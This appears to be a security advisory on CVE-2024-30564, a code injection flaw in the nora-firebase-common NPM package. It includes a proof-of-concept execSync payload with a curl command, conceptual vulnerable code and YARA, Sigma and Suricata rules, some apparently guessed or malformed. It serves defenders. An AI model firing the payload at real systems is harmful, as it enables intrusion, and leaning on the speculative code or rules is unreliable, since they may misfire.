CVE-2024-30564

Executive Summary

CVE-2024-30564 is a critical code injection vulnerability in the nora-firebase-common library by Andrei Tatar, affecting versions between 1.0.41 and 1.12.2. The flaw resides in the updateStateInternal method, where the updateState parameter is not properly sanitized, allowing a remote attacker to execute arbitrary code via a crafted script. This vulnerability poses a severe risk to applications using this library for Firebase state management, potentially leading to full system compromise, data exfiltration, or lateral movement within cloud environments.

Supply Chain & Package Security

This vulnerability affects an NPM package (nora-firebase-common). Organizations using this package in their Node.js applications are at risk. The lack of a known patch or official advisory from the maintainer increases the supply chain risk. Teams should immediately audit their package-lock.json or yarn.lock for the affected version range and consider forking or replacing the library until a fix is available.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data theft.
• Integrity (I): High (H) – Code execution allows modification of data or system state.
• Availability (A): High (H) – Code execution can disrupt services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) in the updateStateInternal method of nora-firebase-common. The method accepts an updateState parameter that is likely passed to a dynamic evaluation function (e.g., eval(), Function(), or similar) without proper sanitization or validation.

Root Cause: The library fails to validate or sanitize the updateState input before using it in a code execution context. An attacker can craft a malicious script that, when processed by updateStateInternal, executes arbitrary commands on the server or client-side environment.

Attack Flow:

1. The attacker identifies an application using the vulnerable nora-firebase-common library.
2. The attacker sends a crafted request to the application, targeting the updateStateInternal method with a malicious updateState parameter.
3. The library processes the input, executing the attacker's script.
4. The attacker gains code execution capabilities, potentially leading to full system compromise.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a secure implementation should look like.

Vulnerable Code (Conceptual):

// nora-firebase-common v1.0.41 - v1.12.2
function updateStateInternal(updateState) {
    // Directly evaluating user input - VULNERABLE
    eval(updateState);
}

Patched Code (Conceptual):

// Hypothetical patched version
function updateStateInternal(updateState) {
    // Validate input type and structure
    if (typeof updateState !== 'object' || updateState === null) {
        throw new Error('Invalid updateState');
    }
    // Use safe operations instead of eval
    Object.keys(updateState).forEach(key => {
        if (typeof updateState[key] === 'string') {
            // Sanitize string values
            state[key] = sanitize(updateState[key]);
        } else {
            state[key] = updateState[key];
        }
    });
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Set up a Node.js application using nora-firebase-common v1.12.2.
2. Expose the vulnerable endpoint that calls updateStateInternal.

Exploit Payload:

// Crafted updateState parameter to execute arbitrary code
{
    "updateState": "require('child_process').execSync('id > /tmp/pwned')"
}

Exploitation Steps:

1. Send a POST request to the vulnerable endpoint with the malicious payload.
2. Verify code execution by checking for the /tmp/pwned file.

Example cURL Command:

curl -X POST http://target:3000/update \
  -H "Content-Type: application/json" \
  -d '{"updateState": "require('"'"'child_process'"'"').execSync('"'"'id > /tmp/pwned'"'"')"}'

Blue Team (Defensive)

Detection:

• Monitor for unusual eval() or Function() calls in Node.js applications.
• Look for suspicious require('child_process') or execSync calls in logs.
• Implement input validation for all parameters passed to updateStateInternal.

Mitigation:

• Immediately isolate any systems using the vulnerable library.
• Implement a Web Application Firewall (WAF) rule to block requests containing eval, exec, or similar keywords in the updateState parameter.
• Use runtime application self-protection (RASP) tools to detect and block code injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to endpoints containing /update or similar with JSON payloads containing updateState parameter.
• Outbound connections to attacker-controlled IPs after exploitation.

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., /tmp/pwned).
• Modified application files or new scripts in the Node.js application directory.

Process IOCs:

• Unusual child processes spawned by the Node.js application (e.g., id, whoami, curl).
• High CPU or memory usage from unexpected processes.

Log IOCs:

• Application logs showing eval() calls with suspicious input.
• Error logs containing SyntaxError or ReferenceError from dynamic code execution.

Detection Engineering

YARA Rule

rule CVE_2024_30564_nora_firebase_common {
    meta:
        description = "Detects exploitation attempts of CVE-2024-30564 in nora-firebase-common"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30564"
    strings:
        $s1 = "updateStateInternal" ascii wide nocase
        $s2 = "eval(" ascii wide nocase
        $s3 = "require('child_process')" ascii wide nocase
        $s4 = "execSync" ascii wide nocase
    condition:
        all of ($s1, $s2) or all of ($s1, $s3, $s4)
}

Sigma Rule

title: CVE-2024-30564 - Code Injection in nora-firebase-common
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-30564 via suspicious eval or exec calls
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: nodejs
detection:
    selection:
        - "updateStateInternal" in event_data
        - "eval(" in event_data
        - "require('child_process')" in event_data
        - "execSync" in event_data
    condition: selection
falsepositives:
    - Legitimate use of eval in controlled environments
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-30564 - nora-firebase-common Code Injection Attempt"; flow:to_server,established; content:"updateState"; http_client_body; nocase; content:"eval"; http_client_body; nocase; distance:0; content:"require"; http_client_body; nocase; distance:0; content:"child_process"; http_client_body; nocase; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any systems running the vulnerable library (versions 1.0.41 to 1.12.2).
2. Block network access to and from affected systems until remediation is complete.
3. Audit all applications for usage of nora-firebase-common and identify the exact version.

Long-term Fixes:

1. Patch: Since no official patch exists, consider forking the repository and implementing input validation and sanitization for the updateState parameter.
2. Replace: Migrate to an alternative Firebase state management library that is actively maintained and secure.
3. Monitor: Subscribe to security advisories for nora-firebase-common to receive updates on any future patches.

Compensating Controls:

• Implement strict input validation for all parameters passed to updateStateInternal.
• Use a Web Application Firewall (WAF) with custom rules to block code injection attempts.
• Enable runtime application self-protection (RASP) to detect and block malicious code execution.

Valters IT
Securing Digital Frontiers